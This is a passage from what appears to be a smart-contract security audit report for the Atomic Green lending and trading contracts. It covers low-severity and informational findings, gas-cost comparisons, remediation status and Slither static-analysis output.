SOLVED: The Atomic Green team added a condition to determine if values are correct before arithmetic operations. This remediation was made in commit 4bd49dc93319e086285cd45f09b987d4e50b94c3.

Listing 28: AtomicLending.sol

```
135         if (totalBorrowed > amount) {
136             totalBorrowed = totalBorrowed - amount;
137         } else {
138             totalBorrowed = 0;
139         }
```

3.11 (HAL-11) MISTAKENLY SENT ERC20 TOKENS CAN NOT RESCUED IN THE CONTRACTS - LOW

Description:

The contracts are missing functions to sweep/rescue accidental ERC-20 transfers. Accidentally, sent ERC-20 tokens will be locked in the contracts or consumed by the function calls.

It was identified that in the openPosition, liquidate and closePosition calls, the contract's whole coreToken and addToken' balances are used for calculations because the contract assumes that the initial balances are zero.

This would mean that even with a recovery function implemented, any accidentally transferred amounts could no longer be recovered after the above function calls.

Code Location:

Listing 29: AtomicController.sol (Line 99)

```
96 IAtomicLending(addTokenPool).borrow(loanAmountIn);
97
98 // swap usdc(addToken) to weth, loanAmountOut = weth
99 loanAmountOut = swapOut(addToken, coreToken, IERC20(addToken).
↳ balanceOf(address(this)));
```

Listing 30: AtomicController.sol (Line 114)

```
111 IAtomicLending(coreTokenPool).borrow(loanAmountIn);
112
113 // swap weth(coreToken) to usdc, loanAmountOut = usdc
114 loanAmountOut = swapOut(coreToken, addToken, IERC20(coreToken).
↳ balanceOf(address(this)));
```

Listing 31: AtomicController.sol (Line 221)

```
221 uint256 currentBalance =
222 positionInfo.tradePosition == TradePosition.LONG ?
223 IERC20(addToken).balanceOf(address(this)) :
224 IERC20(coreToken).balanceOf(address(this));
225
226 if (currentBalance > 0) {
227     pnl = currentBalance;
228     pool.protocolReward(currentBalance);
229 }
```

Listing 32: AtomicController.sol (Lines 322,324)

```
369 pnl = IERC20(addToken).balanceOf(address(this));
370
371 IERC20(addToken).transfer(positionInfo.owner, pnl);
```

Recommendation:

Consider adding a function to sweep accidental ERC-20 transfers to the contracts, and modify the functions not to assume that the initial balances are zero.

Remediation Plan:

SOLVED: The Atomic Green team created a new function that allows the owner to withdraw unsupported tokens in commit 56bf2ebae78cc86eefa991a47574359bbc086ca2.

Listing 33: AtomicController.sol

```
488 function withdrawNotSupported(address token) external override
 ↳ onlyOwner {
489         require(token != coreToken, "NS");
490         require(token != addToken, "NS");
491         IERC20(token).transfer(owner(), IERC20(token).balanceOf(
 ↳ address(this)));
492     }
```

3.12 (HAL-12) LACK OF TEST COVERAGE - LOW

Description:

Unlike traditional software, smart contracts cannot be modified unless deployed using a proxy contract. Because of the permanence, unit tests and functional testing are recommended to ensure the code works correctly before deployment. Mocha and Chai are valuable tools to perform unit tests in smart contracts. Mocha is a JavaScript testing framework for creating synchronous and asynchronous unit tests, and Chai is a library with assertion functionality such as assert or expect and should be used to develop custom unit tests.

Risk Level:

Likelihood - 1
Impact - 3

Recommendation:

It is highly recommended performing as many test cases as possible to cover all conceivable scenarios in the smart contract.

Remediation Plan:

PARTIALLY SOLVED: During testing and before the remediation plan, the Atomic Green team added test cases to the projects in commit eedb742a2bb88ded9b23da53529595398a9d2965 but more testing is needed to test the full functionality of the code in various scenarios, like this the code is intended to be deployed on different blockchains.

3.13 (HAL-13) FLOATING PRAGMA - LOW

Description:

Atomic Green smart Contracts use a floating pragma 0.8.0. Contracts should be deployed with the same compiler version and flags with which they have been tested. Locking the pragma helps ensure that contracts do not accidentally get deployed using, for example, either an outdated compiler version that might introduce bugs that negatively affect the contract system or a pragma version too recent that has not been extensively tested.

Proof of Concept:

Steps for reproducing this issue:
- Create a long position

Listing 34: AtomicController.sol (Line 9)

```
1 import "./AccessManager.sol";
2 import "./UniManager.sol";
3 import "./library/EnumerableSet.sol";
4 import "./interface/IAtomicController.sol";
5 import "./interface/IAtomicLending.sol";
6 import "./interface/IAtomicStorage.sol";
7
8
9 pragma solidity ^0.8.0;
```

Listing 35: UniManager.sol (Line 10)

```
1 import "./interface/IPair.sol"; //SPDX-License-Identifier:
↳ UNLICENSED
2 import "./interface/IERC20.sol";
3 import "./library/SafeCast.sol";
4 import "./library/LiquidityAmount.sol";
5 import "./library/TickMath.sol";
6 import "./library/PositionKey.sol";
```

```
7 import "./library/FixedPoint128.sol";
8
9
10 pragma solidity ^0.8.0;
```

Listing 36: AtomicLending.sol (Line 8)

```
1 import "@openzeppelin/contracts-upgradeable/access/
↳ OwnableUpgradeable.sol";
2 import "./interface/IAtomicLendingCallback.sol";
3 import "./interface/IAtomicLending.sol";
4 import "./interface/IERC20.sol";
5 import "./library/FixedPointLibrary.sol";
6 import "./AccessManager.sol";
7
8 pragma solidity ^0.8.0;
```

Listing 37: AtomicStorage.sol (Line 4)

```
1 import "./interface/IAtomicStorage.sol";
2 import "./AccessManager.sol";
3
4 pragma solidity ^0.8.0;
```

Risk Level:

Likelihood - 3
Impact - 1

Recommendation:

Consider locking the pragma version whenever possible, and avoid using a floating pragma in the final deployment. The pragma can be locked in the code by removing the caret () and by specifying the version in the Truffle configuration file truffle-config.js:

Listing 38: truffle-config.js (Line 3)

```
1 compilers: {
2     solc: {
3         version: "0.8.15",
```

Or hardhat.config.js:

Listing 39: hardhat.config.js (Line 2)

```
1 module.exports = {
2     solidity: "0.8.14",
3     defaultNetwork: "ArbitrumFork",
```

Remediation Plan:

SOLVED: The Atomic Green team modified the smart contracts to set the compiler version to 0.8.12.

3.14 (HAL-14) INCOMPATIBILITY WITH TRANSFER-ON-FEE OR DEFLATIONARY TOKENS - INFORMATIONAL

Description:

In the AtomicController contract, some functions assume that the transferFrom() or transfer() calls will transfer the full amount of tokens into the contract.

However, this may not be true if the tokens being transferred are transfer-on-fee or deflationary/rebasing tokens, causing the received amount to be less than the accounted amount. If this occurs, the state variables would be updated incorrectly, leading to multiple issues.

Code Location:

Listing 40: AtomicController.sol (Line 140)

```
139 // transferring mortgage from user to pool
140 IERC20(addToken).transferFrom(msg.sender, aStorage, _openPosition.
 ↳ mortgage);
```

Listing 41: AtomicController.sol (Lines 324,326)

```
322 pnl = IERC20(addToken).balanceOf(address(this));
323
324 IERC20(addToken).transfer(positionInfo.owner, pnl);
325
326 positionInfo.pnl = pnl;
```

Listing 42: AtomicController.sol (Lines 281,282,284,285)

```
280 if (balance > amount) {
281     token.transfer(msg.sender, amount);
282     result = amount;
283 } else {
```

```
284     token.transfer(msg.sender, balance);
285     result = balance;
286 }
```

Risk Level:

Likelihood - 1
Impact - 2

Recommendation:

It is recommended to verify by analyzing the tokens in it and thorough testing that an Uniswap pool is compatible with the contracts and behaves as intended before using them on the mainnet.

It is also recommended to get the exact received amount of the tokens being transferred by calculating the difference of the token balance before and after the transfer and using it to update all the state variables correctly.

Remediation Plan:

ACKNOWLEDGED: Using transfer-on-fee tokens reverts transactions when a user attempts to open a position. in this way, the Atomic Green team acknowledged this issue, as they do not plan to use these transfer-on-fee tokens.

3.15 (HAL-15) FUNCTION STATE CAN BE RESTRICTED - INFORMATIONAL

Description:

The state mutability of the calcCommissions function can be restricted to pure:

Listing 43: AtomicController.sol

```
442 function calcCommissions(uint256 liquidity) internal view returns
 ↳ (uint256 takeFee) {
443     takeFee = (liquidity / 1000);
444 }
```

Recommendation:

It is recommended to restrict the state of the function to pure for saving gas.

Remediation Plan:

SOLVED: The Atomic Green team modified the state to pure.

Listing 44: AtomicController.sol

```
442 function calcCommissions(uint256 liquidity) internal pure returns
 ↳ (uint256 takeFee) {
443     takeFee = (liquidity / 1000);
444 }
```

3.16 (HAL-16) MISSING ZERO ADDRESS CHECKS - INFORMATIONAL

Description:

It has been detected that `initialize()` functions of all smart contracts are missing address validation. Every input address should be checked not to be zero, especially the ones that could lead to rendering the contract unusable, lock tokens, etc. This is considered a best practice.

Code Location:

Listing 45: AtomicLending.sol (Line 43)

```
42     function initialize(address _token) public initializer {
43         token = _token;
44         OwnableUpgradeable.__Ownable_init();
45     }
```

Listing 46: AtomicStorage.sol (Line 11)

```
10     function initialize(IERC20 _token) public initializer {
11         token = _token;
12         OwnableUpgradeable.__Ownable_init();
13     }
```

Listing 47: UniManager.sol (Line 32)

```
31     function initialize(IPair _pair) internal {
32         pair = _pair;
33         token0 = IERC20(_pair.token0());
34         token1 = IERC20(_pair.token1());
35         fee = _pair.fee();
36         tickSpacing = _pair.tickSpacing();
37     }
```

Listing 48: AtomicController.sol (Lines 64,73,74,75)

```
57     function initialize(
58         IPair _pair,
59         bool _isCoreToken0,
60         address _storage,
61         address _core,
62         address _addC
63     ) public initializer {
64         UniManager.initialize(_pair);
65         OwnableUpgradeable.__Ownable_init();
66         if (_isCoreToken0) {
67             coreToken = address(token0);
68             addToken = address(token1);
69         } else {
70             coreToken = address(token1);
71             addToken = address(token0);
72         }
73         aStorage = _storage;
74         coreTokenPool = _core;
75         addTokenPool = _addC;
76     }
```

Risk Level:

Likelihood - 1
Impact - 1

Recommendation:

It is recommended to validate that each address inputs in the initialize function and other critical functions are non-zero.

Remediation Plan:

SOLVED: The Atomic Green team added zero address checks for token initialization in commit 4168729be276e3bd3bbb227d9974f78e4c78d07e.

3.17 (HAL-17) USING != 0 CONSUMES LESS GAS THAN > 0 IN UNSIGNED INTEGER VALIDATION - INFORMATIONAL

Description:

In the statements below, `> 0` was used to check if the unsigned integer parameters are bigger than `0`. It is known that, using `!= 0` costs less gas than `> 0`.

Code Location:

atomic-lending/AtomicLending.sol
- Line 51 `require(amount > 0, "AtomicLending: ABTZ");`
- Line 54 `if(userInfo.totalSupply > 0){`
- Line 73 `require(userInfo.totalSupply >= amount && userInfo.totalSupply > 0, "AtomicLending: PWA");`
- Line 97 `if (reward > 0){`
- Line 155 `if (totalProtocolDebt > 0){`
- Line 181 `require(actualAmount > 0, "AtomicLending: ACNBZ");`

atomic-controller/AtomicController.sol
- Line 226 `if (currentBalance > 0){`

atomic-controller/UniManager.sol
- Line 122 `if (amount0Owed > 0)pay(address(token0), msg.sender, amount0Owed);`
- Line 123 `if (amount1Owed > 0)pay(address(token1), msg.sender, amount1Owed);`

atomic-controller/library/FullMath.sol
- Line 34 `require(denominator > 0);`

Proof of Concept:

For example, based on the following test contract:

Listing 49: GasTestRequire.sol

```
 1 //SPDX-License-Identifier: MIT
 2 pragma solidity 0.8.11;
 3
 4 contract GasTestRequire {
 5     function originalrequire(uint256 len) public {
 6         require(len > 0, "Error!");
 7     }
 8     function optimalizedrequire(uint256 len) public {
 9         require(len != 0, "Error!");
10     }
11 }
```

We can see the difference in gas costs:

```
>>> contract_gastest.originalrequire(10)
Transaction sent: 0x3bfd50e87f0b7baa6d546f38a78b9a0332cc45b8639ab7e6a641878d46df5b3c
  Gas price: 0.0 gwei   Gas limit: 6721975   Nonce: 5
  GasTestRequire.originalrequire confirmed   Block: 14915967   Gas used: 21450 (0.32%)

<Transaction '0x3bfd50e87f0b7baa6d546f38a78b9a0332cc45b8639ab7e6a641878d46df5b3c'>
>>> contract_gastest.optimalizedrequire(10)
Transaction sent: 0x7ce50b4e528cd2b0488254a3bbd6ca08e04d7ac29753f8513d6d169ee5e190e3
  Gas price: 0.0 gwei   Gas limit: 6721975   Nonce: 6
  GasTestRequire.optimalizedrequire confirmed   Block: 14915968   Gas used: 21422 (0.32%)

<Transaction '0x7ce50b4e528cd2b0488254a3bbd6ca08e04d7ac29753f8513d6d169ee5e190e3'>
>>>
```

Risk Level:

Likelihood - 1

Impact - 1

Recommendation:

It is recommended to use `!= 0` instead of `> 0` to validate unsigned integer parameters. For example, use instead:

Listing 50

```
1 if (currentBalance != 0) {
```

Remediation Plan:

SOLVED: The Atomic Green team changed the integer validation from `!=` to `>` to save gas in commits ad3da484b0de63fcfe1bf3fe58103e2e5b25ff9c and d39292089723b819a45f411f72521928c890530c.

3.18 (HAL-18) USING PREFIX OPERATORS COSTS LESS GAS THAN POSTFIX OPERATORS - INFORMATIONAL

Description:

In the lines below, postfix (e.g. `i++`) operators were used to increment or decrement variable values. It is known that, using prefix operators (e.g. `++i`) costs less gas than using postfix operators.

Code Location:

`atomic-contracts/AccessManager.sol`, `atomic-lending/AccessManager.sol` and `atomic-storage/AccessManager.sol`
- Line 18 `totalManagers++;`
- Line 24 `totalManagers--`

`atomic-controller/AtomicController.sol`
- Line 162 `totalPositions++;`

`atomic-controller/FullMath.sol`
- Line 121 `result++;`

It is also possible to further optimize loops by using unchecked loop index incrementing and decrementing.

Proof of Concept:

For example, based on the following test contract:

Listing 51: GasTestIncrement.sol

```
 1 //SPDX-License-Identifier: MIT
 2 pragma solidity 0.8.11;
 3
 4 contract GasTestIncrement {
 5     function postiincrement(uint256 iterations) public {
 6         for (uint256 i = 0; i < iterations; i++) {
 7         }
 8     }
 9     function preiincrement(uint256 iterations) public {
10         for (uint256 i = 0; i < iterations; ++i) {
11         }
12     }
13     function uncheckedpreiincrement(uint256 iterations) public {
14         for (uint256 i = 0; i < iterations;) {
15             unchecked { ++i; }
16         }
17     }
18 }
```

We can see the difference in gas costs:

```
>>> contract_gastest.postiincrement(10)
Transaction sent: 0xea37b9e304229d9063189c85f0a10f6d3aee232cb0e527d09ea9cc33ae5d29d9
  Gas price: 0.0 gwei   Gas limit: 6721975   Nonce: 8
  GasTestIncrement.postiincrement confirmed   Block: 14915970   Gas used: 22651 (0.34%)

<Transaction '0xea37b9e304229d9063189c85f0a10f6d3aee232cb0e527d09ea9cc33ae5d29d9'>
>>> contract_gastest.preiincrement(10)
Transaction sent: 0x1e688f5c8c7d3e393c52eb214f2278f7f561e55857b36c4b5c1d29ace0e6ce5d
  Gas price: 0.0 gwei   Gas limit: 6721975   Nonce: 9
  GasTestIncrement.preiincrement confirmed   Block: 14915971   Gas used: 22557 (0.34%)

<Transaction '0x1e688f5c8c7d3e393c52eb214f2278f7f561e55857b36c4b5c1d29ace0e6ce5d'>
>>> contract_gastest.uncheckedpreiincrement(10)
Transaction sent: 0xec50e014f2de0b3badd8269daaf26b90eef2315de8e8ba65799def941d058772
  Gas price: 0.0 gwei   Gas limit: 6721975   Nonce: 10
  GasTestIncrement.uncheckedpreiincrement confirmed   Block: 14915972   Gas used: 21889 (0.33%)

<Transaction '0xec50e014f2de0b3badd8269daaf26b90eef2315de8e8ba65799def941d058772'>
>>>
```

Risk Level:

Likelihood - 1
Impact - 1

Recommendation:

It is recommended to use unchecked `++i` and `--j` operations instead of `i++` and `j--` to increment or decrement the values of a `uint` variables inside loops. This does not just apply to the iterator variables, but the increments and decrements done inside the loops code blocks too.

It is noted that using unchecked operations requires particular caution to avoid overflows.

Remediation Plan:

SOLVED: The Atomic Green team changed the postfix operators to prefix operators to save gas in commits `ad3da484b0de63fcfe1bf3fe58103e2e5b25ff9c` and `d39292089723b819a45f411f72521928c890530c`.

AUTOMATED TESTING

4.1 STATIC ANALYSIS REPORT

Description:

Halborn used automated testing techniques to enhance the coverage of certain areas of the smart contracts in scope. Among the tools used was Slither, a Solidity static analysis framework. After Halborn verified the smart contracts in the repository and was able to compile them correctly into their abis and binary format, Slither was run against the contracts. This tool can statically verify mathematical relationships between Solidity variables to detect invalid or inconsistent usage of the contracts' APIs across the entire code-base.

Slither results:

AccessManager.sol

```
        - AccessManager.addManager(address) (contracts/AccessManager.sol#15-19)
removeManager(address) should be declared external:
        - AccessManager.removeManager(address) (contracts/AccessManager.sol#21-25)
initialize(IERC20) should be declared external:
        - AtomicStorage.initialize(IERC20) (contracts/AtomicStorage.sol#10-13)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#public-function-that-could-be-declared-external
```

AccessManager.sol

```
UniManager.getNextTick() (contracts/UniManager.sol#235-244) performs a multiplication on the result of a division:
        -rounded = (tick / tickSpacing) * tickSpacing (contracts/UniManager.sol#238)
UniManager.getPrevTick() (contracts/UniManager.sol#246-255) performs a multiplication on the result of a division:
        -rounded = (tick / tickSpacing) * tickSpacing (contracts/UniManager.sol#249)
FullMath.mulDiv(uint256,uint256,uint256) (contracts/library/FullMath.sol#14-106) performs a multiplication on the result of a division:
        -denominator = denominator / twos (contracts/library/FullMath.sol#67)
        -inv = (3 * denominator) ^ 2 (contracts/library/FullMath.sol#87)
FullMath.mulDiv(uint256,uint256,uint256) (contracts/library/FullMath.sol#14-106) performs a multiplication on the result of a division:
        -denominator = denominator / twos (contracts/library/FullMath.sol#67)
        -inv *= 2 - denominator * inv (contracts/library/FullMath.sol#91)
FullMath.mulDiv(uint256,uint256,uint256) (contracts/library/FullMath.sol#14-106) performs a multiplication on the result of a division:
        -denominator = denominator / twos (contracts/library/FullMath.sol#67)
        -inv *= 2 - denominator * inv (contracts/library/FullMath.sol#92)
FullMath.mulDiv(uint256,uint256,uint256) (contracts/library/FullMath.sol#14-106) performs a multiplication on the result of a division:
        -denominator = denominator / twos (contracts/library/FullMath.sol#67)
        -inv *= 2 - denominator * inv (contracts/library/FullMath.sol#93)
FullMath.mulDiv(uint256,uint256,uint256) (contracts/library/FullMath.sol#14-106) performs a multiplication on the result of a division:
        -denominator = denominator / twos (contracts/library/FullMath.sol#67)
        -inv *= 2 - denominator * inv (contracts/library/FullMath.sol#94)
FullMath.mulDiv(uint256,uint256,uint256) (contracts/library/FullMath.sol#14-106) performs a multiplication on the result of a division:
        -denominator = denominator / twos (contracts/library/FullMath.sol#67)
        -inv *= 2 - denominator * inv (contracts/library/FullMath.sol#95)
FullMath.mulDiv(uint256,uint256,uint256) (contracts/library/FullMath.sol#14-106) performs a multiplication on the result of a division:
        -denominator = denominator / twos (contracts/library/FullMath.sol#67)
        -inv *= 2 - denominator * inv (contracts/library/FullMath.sol#96)
FullMath.mulDiv(uint256,uint256,uint256) (contracts/library/FullMath.sol#14-106) performs a multiplication on the result of a division:
        -prod0 = prod0 / twos (contracts/library/FullMath.sol#72)
        -result = prod0 * inv (contracts/library/FullMath.sol#104)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#divide-before-multiply

UniManager.trySwapOut(address,address,uint256).amount0 (contracts/UniManager.sol#87) is a local variable never initialized
AtomicController.openPosition(IAtomicController.OpenPosition).amount0Liq_scope_0 (contracts/AtomicController.sol#117) is a local variable never initialized
UniManager.trySwapOut(address,address,uint256).amount1 (contracts/UniManager.sol#87) is a local variable never initialized
AtomicController.openPosition(IAtomicController.OpenPosition).amount1Liq_scope_1 (contracts/AtomicController.sol#117) is a local variable never initialized
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#uninitialized-local-variables

Variable UniManager.uniswapV3SwapCallback(int256,int256,bytes).amount0Delta (contracts/UniManager.sol#45) is too similar to UniManager.swapIn(address,address,uint256).amount1Delta (contracts/UniManager.sol#96)
Variable UniManager.swapIn(address,address,uint256).amount0Delta (contracts/UniManager.sol#96) is too similar to UniManager.swapIn(address,address,uint256).amount1Delta (contracts/UniManager.sol#96)
Variable UniManager.addLiquidity(int24,int24,uint256,uint256,uint256).amount0Desired (contracts/UniManager.sol#150) is too similar to UniManager.addLiquidity(int24,int24,uint256,uint256,uint256).amount1Desired (contracts/UniManager.sol#151)
Variable UniManager.uniswapV3MintCallback(uint256,uint256,bytes).amount0Owed (contracts/UniManager.sol#116) is too similar to UniManager.uniswapV3MintCallback(uint256,uint256,bytes).amount1Owed (contracts/UniManager.sol#117)
Variable UniManager.uniswapV3SwapCallback(int256,int256,bytes).amount0Delta (contracts/UniManager.sol#45) is too similar to UniManager.uniswapV3SwapCallback(int256,int256,bytes).amount1Delta (contracts/UniManager.sol#46)
Variable UniManager.swapIn(address,address,uint256).amount0Delta (contracts/UniManager.sol#96) is too similar to UniManager.uniswapV3SwapCallback(int256,int256,bytes).amount1Delta (contracts/UniManager.sol#46)
Variable UniManager.addLiquidity(int24,int24,uint256,uint256,uint256).feeGrowthInside0LastX128 (contracts/UniManager.sol#184) is too similar to UniManager.collectFee(uint256).feeGrowthInside1LastX128 (contracts/UniManager.sol#202)
Variable UniManager.addLiquidity(int24,int24,uint256,uint256,uint256).feeGrowthInside0LastX128 (contracts/UniManager.sol#184) is too similar to UniManager.addLiquidity(int24,int24,uint256,uint256,uint256).feeGrowthInside1LastX128 (contracts/UniManager.sol#184)
Variable UniManager.collectFee(uint256).feeGrowthInside0LastX128 (contracts/UniManager.sol#202) is too similar to UniManager.collectFee(uint256).feeGrowthInside1LastX128 (contracts/UniManager.sol#202)
Variable UniManager.collectFee(uint256).feeGrowthInside0LastX128 (contracts/UniManager.sol#202) is too similar to UniManager.addLiquidity(int24,int24,uint256,uint256,uint256).feeGrowthInside1LastX128 (contracts/UniManager.sol#184)
Variable UniManager.addLiquidity(int24,int24,uint256,uint256,uint256).sqrtRatioAX96 (contracts/UniManager.sol#163) is too similar to UniManager.addLiquidity(int24,int24,uint256,uint256,uint256).sqrtRatioBX96 (contracts/UniManager.sol#164)
Variable UniManager.collectFee(uint256).tokensOwed0 (contracts/UniManager.sol#205-211) is too similar to UniManager.collectFee(uint256).tokensOwed1 (contracts/UniManager.sol#213-219)
```

AtomicLending.sol

```
Reentrancy in AtomicLending.claimReward() (contracts/AtomicLending.sol#93-106):
        External calls:
        - IERC20(token).transfer(msg.sender,reward) (contracts/AtomicLending.sol#98)
        State variables written after the call(s):
        - userInfo.S0 = S (contracts/AtomicLending.sol#102)
        - userInfo.totalReceivedReward = userInfo.totalReceivedReward + reward (contracts/AtomicLending.sol#103)
Reentrancy in AtomicLending.supply(uint256) (contracts/AtomicLending.sol#50-68):
        External calls:
        - claimReward() (contracts/AtomicLending.sol#55)
                - IERC20(token).transfer(msg.sender,reward) (contracts/AtomicLending.sol#98)
        - IERC20(token).transferFrom(msg.sender,address(this),amount) (contracts/AtomicLending.sol#61)
        State variables written after the call(s):
        - userInfo.totalSupply = userInfo.totalSupply + amount (contracts/AtomicLending.sol#64)
Reentrancy in AtomicLending.withdraw(uint256) (contracts/AtomicLending.sol#71-82):
        External calls:
        - claimReward() (contracts/AtomicLending.sol#74)
                - IERC20(token).transfer(msg.sender,reward) (contracts/AtomicLending.sol#98)
        - IERC20(token).transfer(msg.sender,amount) (contracts/AtomicLending.sol#76)
        State variables written after the call(s):
        - userInfo.totalSupply = userInfo.totalSupply - amount (contracts/AtomicLending.sol#79)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-1

AtomicLending.repay(uint256).insurance (contracts/AtomicLending.sol#122) is a local variable never initialized
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#uninitialized-local-variables

AtomicLending.safeTransferFromController(uint256) (contracts/AtomicLending.sol#177-182) ignores return value by IAtomicLendingCallback(msg.sender).lendingCallback(address(token),amount) (contracts/
AtomicLending.sol#179)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unused-return

AtomicLending.initialize(address)._token (contracts/AtomicLending.sol#41) lacks a zero-check on :
                - token = _token (contracts/AtomicLending.sol#42)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#missing-zero-address-validation

Reentrancy in AtomicLending.protocolReward(uint256) (contracts/AtomicLending.sol#153-167):
        External calls:
        - actualAmount = safeTransferFromController(amount) (contracts/AtomicLending.sol#154)
                - IAtomicLendingCallback(msg.sender).lendingCallback(address(token),amount) (contracts/AtomicLending.sol#179)
        State variables written after the call(s):
        - totalProtocolDebt = totalProtocolDebt - actualAmount (contracts/AtomicLending.sol#157)
        - totalProtocolDebt = 0 (contracts/AtomicLending.sol#161)
        - totalProtocolFee = totalProtocolFee + actualAmount (contracts/AtomicLending.sol#165)
Reentrancy in AtomicLending.repay(uint256) (contracts/AtomicLending.sol#120-138):
        External calls:
        - actualAmount = safeTransferFromController(amount) (contracts/AtomicLending.sol#121)
                - IAtomicLendingCallback(msg.sender).lendingCallback(address(token),amount) (contracts/AtomicLending.sol#179)
        State variables written after the call(s):
        - totalBorrowed = totalBorrowed - amount (contracts/AtomicLending.sol#135)
        - totalProtocolDebt = diff - totalProtocolFee (contracts/AtomicLending.sol#128)
        - totalProtocolFee = totalProtocolFee - (amount - actualAmount) (contracts/AtomicLending.sol#126)
        - totalProtocolFee = 0 (contracts/AtomicLending.sol#129)
Reentrancy in AtomicLending.rewardUser(uint256) (contracts/AtomicLending.sol#141-150):
        External calls:
        - actualAmount = safeTransferFromController(amount) (contracts/AtomicLending.sol#143)
                - IAtomicLendingCallback(msg.sender).lendingCallback(address(token),amount) (contracts/AtomicLending.sol#179)
        State variables written after the call(s):
        - S = S + (rewardInFixed / totalSupplied) (contracts/AtomicLending.sol#146)
        - totalReward += amount (contracts/AtomicLending.sol#148)
Reentrancy in AtomicLending.supply(uint256) (contracts/AtomicLending.sol#50-68):
        External calls:
        - claimReward() (contracts/AtomicLending.sol#55)
                - IERC20(token).transfer(msg.sender,reward) (contracts/AtomicLending.sol#98)
        - IERC20(token).transferFrom(msg.sender,address(this),amount) (contracts/AtomicLending.sol#61)
        State variables written after the call(s):
        - totalSupplied = totalSupplied + amount (contracts/AtomicLending.sol#63)
Reentrancy in AtomicLending.withdraw(uint256) (contracts/AtomicLending.sol#71-82):
        External calls:
        - claimReward() (contracts/AtomicLending.sol#74)
                - IERC20(token).transfer(msg.sender,reward) (contracts/AtomicLending.sol#98)
        - IERC20(token).transfer(msg.sender,amount) (contracts/AtomicLending.sol#76)
        State variables written after the call(s):
        - totalSupplied = totalSupplied - amount (contracts/AtomicLending.sol#78)
Reentrancy in AtomicLending.withdrawProtocolReward(uint256) (contracts/AtomicLending.sol#170-174):
        External calls:
        - IERC20(token).transfer(msg.sender,amount) (contracts/AtomicLending.sol#171)
        State variables written after the call(s):
        - totalProtocolFee = totalProtocolFee - amount (contracts/AtomicLending.sol#172)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-2

Reentrancy in AtomicLending.borrow(uint256) (contracts/AtomicLending.sol#111-117):
        External calls:
        - IERC20(token).transfer(msg.sender,amount) (contracts/AtomicLending.sol#114)
        Event emitted after the call(s):
        - Borrow(msg.sender,amount) (contracts/AtomicLending.sol#116)
Reentrancy in AtomicLending.claimReward() (contracts/AtomicLending.sol#93-106):
        External calls:
        - IERC20(token).transfer(msg.sender,reward) (contracts/AtomicLending.sol#98)
        Event emitted after the call(s):
        - Claim(msg.sender,reward) (contracts/AtomicLending.sol#105)
Reentrancy in AtomicLending.protocolReward(uint256) (contracts/AtomicLending.sol#153-167):
        External calls:
        - actualAmount = safeTransferFromController(amount) (contracts/AtomicLending.sol#154)
                - IAtomicLendingCallback(msg.sender).lendingCallback(address(token),amount) (contracts/AtomicLending.sol#179)
        Event emitted after the call(s):
        - NewProtocolDistribution(msg.sender,actualAmount) (contracts/AtomicLending.sol#166)
Reentrancy in AtomicLending.repay(uint256) (contracts/AtomicLending.sol#120-138):
        External calls:
        - actualAmount = safeTransferFromController(amount) (contracts/AtomicLending.sol#121)
                - IAtomicLendingCallback(msg.sender).lendingCallback(address(token),amount) (contracts/AtomicLending.sol#179)
        Event emitted after the call(s):
        - Repay(msg.sender,amount,insurance) (contracts/AtomicLending.sol#137)
Reentrancy in AtomicLending.rewardUser(uint256) (contracts/AtomicLending.sol#141-150):
        External calls:
        - actualAmount = safeTransferFromController(amount) (contracts/AtomicLending.sol#143)
                - IAtomicLendingCallback(msg.sender).lendingCallback(address(token),amount) (contracts/AtomicLending.sol#179)
        Event emitted after the call(s):
        - NewUserDistribution(msg.sender,actualAmount) (contracts/AtomicLending.sol#149)
Reentrancy in AtomicLending.supply(uint256) (contracts/AtomicLending.sol#50-68):
        External calls:
        - claimReward() (contracts/AtomicLending.sol#55)
                - IERC20(token).transfer(msg.sender,reward) (contracts/AtomicLending.sol#98)
        - IERC20(token).transferFrom(msg.sender,address(this),amount) (contracts/AtomicLending.sol#61)
        Event emitted after the call(s):
        - Supply(msg.sender,amount) (contracts/AtomicLending.sol#67)
Reentrancy in AtomicLending.withdraw(uint256) (contracts/AtomicLending.sol#71-82):
        External calls:
        - claimReward() (contracts/AtomicLending.sol#74)
                - IERC20(token).transfer(msg.sender,reward) (contracts/AtomicLending.sol#98)
        - IERC20(token).transfer(msg.sender,amount) (contracts/AtomicLending.sol#76)
        Event emitted after the call(s):
        - Withdraw(msg.sender,amount) (contracts/AtomicLending.sol#81)
Reentrancy in AtomicLending.withdrawProtocolReward(uint256) (contracts/AtomicLending.sol#170-174):
        External calls:
        - IERC20(token).transfer(msg.sender,amount) (contracts/AtomicLending.sol#171)
        Event emitted after the call(s):
        - ClaimProtocolFee(amount) (contracts/AtomicLending.sol#173)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-3
```

```
        - AtomicLending.initialize(address) (contracts/AtomicLending.sol#41-44)
supply(uint256) should be declared external:
        - AtomicLending.supply(uint256) (contracts/AtomicLending.sol#50-68)
withdraw(uint256) should be declared external:
        - AtomicLending.withdraw(uint256) (contracts/AtomicLending.sol#71-82)
borrow(uint256) should be declared external:
        - AtomicLending.borrow(uint256) (contracts/AtomicLending.sol#111-117)
repay(uint256) should be declared external:
        - AtomicLending.repay(uint256) (contracts/AtomicLending.sol#120-138)
rewardUser(uint256) should be declared external:
        - AtomicLending.rewardUser(uint256) (contracts/AtomicLending.sol#141-150)
protocolReward(uint256) should be declared external:
        - AtomicLending.protocolReward(uint256) (contracts/AtomicLending.sol#153-167)
withdrawProtocolReward(uint256) should be declared external:
        - AtomicLending.withdrawProtocolReward(uint256) (contracts/AtomicLending.sol#170-174)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#public-function-that-could-be-declared-external
```

AtomicController.sol

```
AtomicController.TestClosePosition(uint256) (contracts/AtomicController.sol#337-381) uses a dangerous strict equality:
        - positionInfo.tradePosition == TradePosition.LONG (contracts/AtomicController.sol#375)
AtomicController.closePosition(uint256) (contracts/AtomicController.sol#290-333) uses a dangerous strict equality:
        - positionInfo.tradePosition == TradePosition.LONG (contracts/AtomicController.sol#328)
UniManager.swapIn(address,address,uint256) (contracts/UniManager.sol#93-112) uses a dangerous strict equality:
